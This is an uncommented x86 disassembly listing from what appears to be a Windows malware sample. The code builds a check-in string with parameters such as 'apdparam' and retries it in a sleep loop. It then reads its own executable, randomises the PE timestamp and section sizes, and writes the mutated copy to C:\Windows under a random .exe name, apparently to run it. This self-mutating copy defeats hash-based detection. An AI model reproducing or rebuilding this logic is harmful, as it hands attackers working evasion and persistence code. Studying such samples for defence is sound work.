cmp dword [edi + 0xc], 0
lea ebx, [edi + 0xc]
jl 0x40d65d
mov ecx, dword [ebp]
cmp ecx, dword [edi]
jne 0x40d65d
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
call eax
cmp dword [ebp + 0xc], 0
lea ecx, [ebp + 0xc]
jl 0x40d5fd
cmp eax, dword [ebp]
jne 0x40d5fd
mov esi, ebp
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x40d639
mov ecx, dword [ebp + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
jne 0x40d616
call fcn.00403f80
mov eax, dword [ebp + 4]
mov dword [esi + 4], eax
mov eax, dword [ebp + 4]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [ebp + 0x10]
push edx
lea eax, [eax + eax + 2]
push eax
lea ecx, [esi + 0x10]
push ecx
call fcn.00418525
add esp, 0x10
or edx, 0xffffffff
lock xadd dword [ebx], edx
dec edx
test edx, edx
jg 0x40d64f
mov ecx, dword [edi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push edi
call edx
mov eax, dword [esp + 0xf8]
add esi, 0x10
mov dword [eax], esi
jmp 0x40d668
mov ebx, dword [eax - 0xc]
push eax
mov eax, edx
call fcn.00401450
mov edx, dword [esp + 0xfc]
mov eax, dword [esp + 0x20]
mov ebx, dword [edx]
lea esi, [eax - 0x10]
sub ebx, 0x10
cmp esi, ebx
je 0x40d726
cmp dword [ebx + 0xc], 0
jl 0x40d71b
mov ecx, dword [esi]
cmp ecx, dword [ebx]
jne 0x40d71b
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
call eax
cmp dword [esi + 0xc], 0
lea ecx, [esi + 0xc]
jl 0x40d6b8
cmp eax, dword [esi]
jne 0x40d6b8
mov edi, esi
mov edx, 1
lock xadd dword [ecx], edx
jmp 0x40d6f4
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
jne 0x40d6d1
call fcn.00403f80
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
lea edx, [esi + 0x10]
push edx
lea eax, [eax + eax + 2]
push eax
lea ecx, [edi + 0x10]
push ecx
call fcn.00418525
add esp, 0x10
lea eax, [ebx + 0xc]
or edx, 0xffffffff
lock xadd dword [eax], edx
dec edx
test edx, edx
jg 0x40d70d
mov ecx, dword [ebx]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push ebx
call edx
mov eax, dword [esp + 0xfc]
add edi, 0x10
mov dword [eax], edi
jmp 0x40d726
mov ebx, dword [eax - 0xc]
push eax
mov eax, edx
call fcn.00401450
mov byte [esp + 0xec], 0xe
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
xor edi, edi
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d750
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xec], 0xd
lea ecx, [esi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d771
mov ecx, dword [esi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push esi
call edx
mov byte [esp + 0xec], 7
mov esi, dword [esp + 0x70]
cmp esi, edi
je 0x40d7c4
mov eax, dword [esp + 0x74]
mov edi, eax
cmp esi, eax
je 0x40d7b9
jmp 0x40d790
mov eax, dword [esi]
sub eax, 0x10
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d7ae
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add esi, 4
cmp esi, edi
jne 0x40d790
mov esi, dword [esp + 0x70]
push esi
call fcn.00418149
add esp, 4
xor edi, edi
mov ecx, dword [esp + 0x64]
push ecx
mov dword [esp + 0x74], edi
mov dword [esp + 0x78], edi
mov dword [esp + 0x7c], edi
call fcn.00418149
add esp, 4
mov byte [esp + 0xec], 6
lea edx, [ebp + 0xc]
or eax, 0xffffffff
lock xadd dword [edx], eax
dec eax
test eax, eax
jg 0x40d7ff
mov ecx, dword [ebp]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push ebp
call eax
mov byte [esp + 0xec], 4
mov esi, dword [esp + 0x58]
cmp esi, edi
je 0x40d854
mov eax, dword [esp + 0x5c]
mov edi, eax
cmp esi, eax
je 0x40d849
lea esp, [esp]
mov eax, dword [esi]
sub eax, 0x10
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d83e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add esi, 4
cmp esi, edi
jne 0x40d820
mov esi, dword [esp + 0x58]
push esi
call fcn.00418149
add esp, 4
xor edi, edi
mov ecx, dword [esp + 0x4c]
push ecx
mov dword [esp + 0x5c], edi
mov dword [esp + 0x60], edi
mov dword [esp + 0x64], edi
call fcn.00418149
add esp, 4
mov dword [esp + 0x24], edi
cmp dword [esp + 0x2c], edi
je 0x40dcb2
mov edx, dword [0x44030c]
mov eax, dword [edx + 0xc]
mov ecx, 0x44030c
call eax
add eax, 0x10
mov dword [esp + 0x14], eax
mov byte [esp + 0xec], 0x1b
mov edx, dword [esp + 0x48]
push 0
lea ecx, [esp + 0x80]
call fcn.00415d90
add esp, 4
mov esi, eax
mov ecx, dword [esp + 0xf8]
mov byte [esp + 0xec], 0x1c
mov edx, dword [ecx]
push 0
lea ecx, [esp + 0x44]
call fcn.00415d90
add esp, 4
mov edi, eax
mov bl, 0x1d
mov byte [esp + 0xec], bl
mov edx, dword [esp + 0x34]
push 0
lea ecx, [esp + 0x48]
call fcn.00415d90
add esp, 4
mov ebp, eax
mov byte [esp + 0xec], 0x1e
mov edx, dword [esp + 0x38]
push 0
lea ecx, [esp + 0x1c]
call fcn.00415d90
add esp, 4
mov byte [esp + 0xec], 0x1f
mov edx, dword [esi]
mov ecx, dword [edi]
mov eax, dword [eax]
push edx
mov edx, dword [ebp]
push ecx
push 2
push edx
push eax
push str.__u__s__a__s__rt__d__d__s__apdparam__s
lea edi, [esp + 0x2c]
call fcn.004016c0
mov byte [esp + 0x104], 0x1e
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
add esp, 0x18
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d959
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xec], bl
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d980
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xec], 0x1c
mov eax, dword [esp + 0x40]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d9a8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xec], 0x1b
mov eax, dword [esp + 0x7c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40d9d0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x94]
mov edx, dword [esp + 0x8c]
push ecx
mov ecx, dword [esp + 0x18]
push edx
call fcn.0040a5d0
add esp, 8
test eax, eax
je 0x40da57
xor ebp, ebp
lea esi, [esp + 0x18]
call fcn.00416ff0
mov byte [esp + 0xec], 0x20
mov eax, dword [eax]
mov edi, dword [esp + 0x34]
mov ebx, dword [esp + 0x38]
push eax
push edi
push ebx
call fcn.00401130
mov esi, eax
mov byte [esp + 0xf8], 0x1b
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
add esp, 0xc
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40da42
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test esi, esi
jne 0x40da7b
push 0x1e
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebp
cmp ebp, 0x3e8
jl 0x40d9f2
mov ecx, dword [esp + 0x94]
mov edx, dword [esp + 0x8c]
push ecx
mov ecx, dword [esp + 0x18]
push edx
call fcn.00409a70
mov ebx, dword [esp + 0x40]
mov edi, dword [esp + 0x3c]
add esp, 8
xor ebp, ebp
mov dword [esp + 0x24], ebp
lea esi, [esp + 0x18]
call fcn.00416ff0
mov byte [esp + 0xec], 0x21
mov eax, dword [eax]
push eax
push edi
push ebx
call fcn.00401130
mov esi, eax
mov byte [esp + 0xf8], 0x1b
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
add esp, 0xc
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40dac9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test esi, esi
jne 0x40dae0
push 0x1e
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebp
cmp ebp, 0x3e8
jl 0x40da81
jmp 0x40dae8
mov dword [esp + 0x24], 1
mov edx, dword [0x44030c]
mov eax, dword [edx + 0xc]
mov ecx, 0x44030c
call eax
add eax, 0x10
mov dword [esp + 0x2c], eax
mov byte [esp + 0xec], 0x22
mov edx, dword [esp + 0x48]
push 0
lea ecx, [esp + 0x80]
call fcn.00415d90
add esp, 4
mov esi, eax
mov ecx, dword [esp + 0xf8]
mov byte [esp + 0xec], 0x23
mov edx, dword [ecx]
push 0
lea ecx, [esp + 0x44]
call fcn.00415d90
add esp, 4
mov edi, eax
mov byte [esp + 0xec], 0x24
mov edx, dword [esp + 0x34]
push 0
lea ecx, [esp + 0x48]
call fcn.00415d90
add esp, 4
mov ebp, eax
push 0
mov edx, ebx
lea ecx, [esp + 0x1c]
mov byte [esp + 0xf0], 0x25
call fcn.00415d90
add esp, 4
mov byte [esp + 0xec], 0x26
mov edx, dword [esi]
mov ecx, dword [edi]
mov eax, dword [eax]
push edx
mov edx, dword [ebp]
push ecx
push 2
push edx
push eax
push str.__u__s__a__s__rt__d__d__s__apdparam__s
lea edi, [esp + 0x44]
call fcn.004016c0
mov byte [esp + 0x104], 0x25
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
add esp, 0x18
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40dbc3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xec], 0x24
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40dbeb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xec], 0x23
mov eax, dword [esp + 0x40]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40dc13
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xec], 0x22
mov eax, dword [esp + 0x7c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40dc3b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x94]
mov edx, dword [esp + 0x34]
mov esi, dword [esp + 0x2c]
push ecx
push edx
mov edx, dword [esp + 0x94]
push ebx
mov ecx, esi
call fcn.0040be90
lea eax, [esi - 0x10]
add esp, 0xc
mov byte [esp + 0xec], 0x1b
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40dc82
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x24]
mov byte [esp + 0xec], 4
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
mov dword [esp + 0x24], ecx
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40dcb2
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x88]
push ecx
mov dword [esp + 0x8c], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
cmp dword [esp + 0x24], 0
jne 0x40df5c
cmp dword [esp + 0x88], 0
je 0x40df41
mov eax, dword [0x440f4c]
test eax, eax
je 0x40dcfb
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x44030c]
mov eax, dword [edx + 0xc]
mov ecx, 0x44030c
call eax
lea ebx, [eax + 0x10]
mov dword [esp + 0x2c], ebx
mov byte [esp + 0xec], 0x27
mov eax, dword [ebx - 8]
mov ecx, 1
sub ecx, dword [ebx - 4]
sub eax, 0x104
or eax, ecx
jge 0x40dd40
mov ecx, 0x104
lea eax, [esp + 0x2c]
call fcn.004015c0
mov ebx, dword [esp + 0x2c]
push 0x104
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [ebx - 8]
push eax
push ebx
call fcn.00418fdc
add esp, 8
test eax, eax
jl 0x40d59e
cmp eax, dword [ebx - 8]
jg 0x40d59e
xor ecx, ecx
push ecx
push ecx
push 3
push ecx
push 7
push closesocket
mov dword [ebx - 0xc], eax
push ebx
mov word [ebx + eax*2], cx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x40df1d
lea edx, [esp + 0x7c]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov eax, dword [esp + 0x7c]
mov ebp, eax
push eax
mov dword [esp + 0x44], ebp
call fcn.00417f1e
add esp, 4
mov edi, eax
push 0
lea eax, [esp + 0x1c]
push eax
push ebp
push edi
push esi
mov dword [esp + 0x3c], edi
mov dword [esp + 0x2c], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x40df1d
mov eax, edi
mov esi, dword [eax + 0x3c]
add esi, eax
mov eax, 0xc3
xor edi, edi
call fcn.0040c2b0
mov ebp, eax
mov eax, 0xffff
call fcn.0040c2b0
mov ecx, dword [esi + 0x38]
shl ebp, 0x10
lea ebp, [eax + ebp + 0x61cf2900]
movzx eax, word [esi + 6]
mov dword [esi + 8], ebp
mov dword [esp + 0x14], ecx
test eax, eax
jbe 0x40de52
add esi, 0x100
mov dword [esp + 0x3c], eax
mov ebp, dword [esi]
xor edx, edx
mov eax, ebp
div dword [esp + 0x14]
cmp edx, 5
jbe 0x40de48
mov eax, dword [esp + 0x14]
sub eax, edx
dec eax
mov edi, 1
call fcn.0040c2b0
add eax, ebp
mov dword [esi], eax
add esi, 0x28
sub dword [esp + 0x3c], 1
jne 0x40de24
mov edx, dword [0x44030c]
mov eax, dword [edx + 0xc]
mov ecx, 0x44030c
call eax
add eax, 0x10
mov dword [esp + 0x14], eax
mov eax, 0x2710
mov edi, 0x3e8
mov byte [esp + 0xec], 0x28
call fcn.0040c2b0
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
imul esi, eax
push esi
push str.C:Windows_x.exe
lea edi, [esp + 0x1c]
call fcn.004016c0
mov edi, dword [esp + 0x1c]
add esp, 8
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x40dee5
mov edx, dword [esp + 0x40]
mov eax, dword [esp + 0x28]
push 0
lea ecx, [esp + 0x48]
push ecx
push edx
push eax
push esi
mov dword [esp + 0x58], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40def9
push edi
call fcn.0040c320
add esp, 4
lea eax, [edi - 0x10]
mov byte [esp + 0xec], 0x27
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40df1d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [ebx - 0x10]
mov byte [esp + 0xec], 4
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40df41
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
push 0x42bf8c
push 0x4410d8
mov edx, 1
call fcn.00404420
push 0x430b6c
jmp 0x40df75
push 0x42bf8c
push 0x4410d8
mov edx, 1
call fcn.00404420
push 0x430b70
push 0x4410d8
mov edx, 3
call fcn.00404420
mov eax, dword [esp + 0x8c]
test eax, eax
je 0x40df98
push eax
call fcn.00418163
add esp, 4
mov eax, dword [esp + 0xbc]
test eax, eax
je 0x40dfac
push eax
call fcn.00418163
add esp, 4
mov byte [esp + 0xec], 1
mov eax, dword [esp + 0x48]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40dfd4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xec], 0
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40dffc
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0xec], 0xffffffff
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40e027
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0xe4]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xdc
ret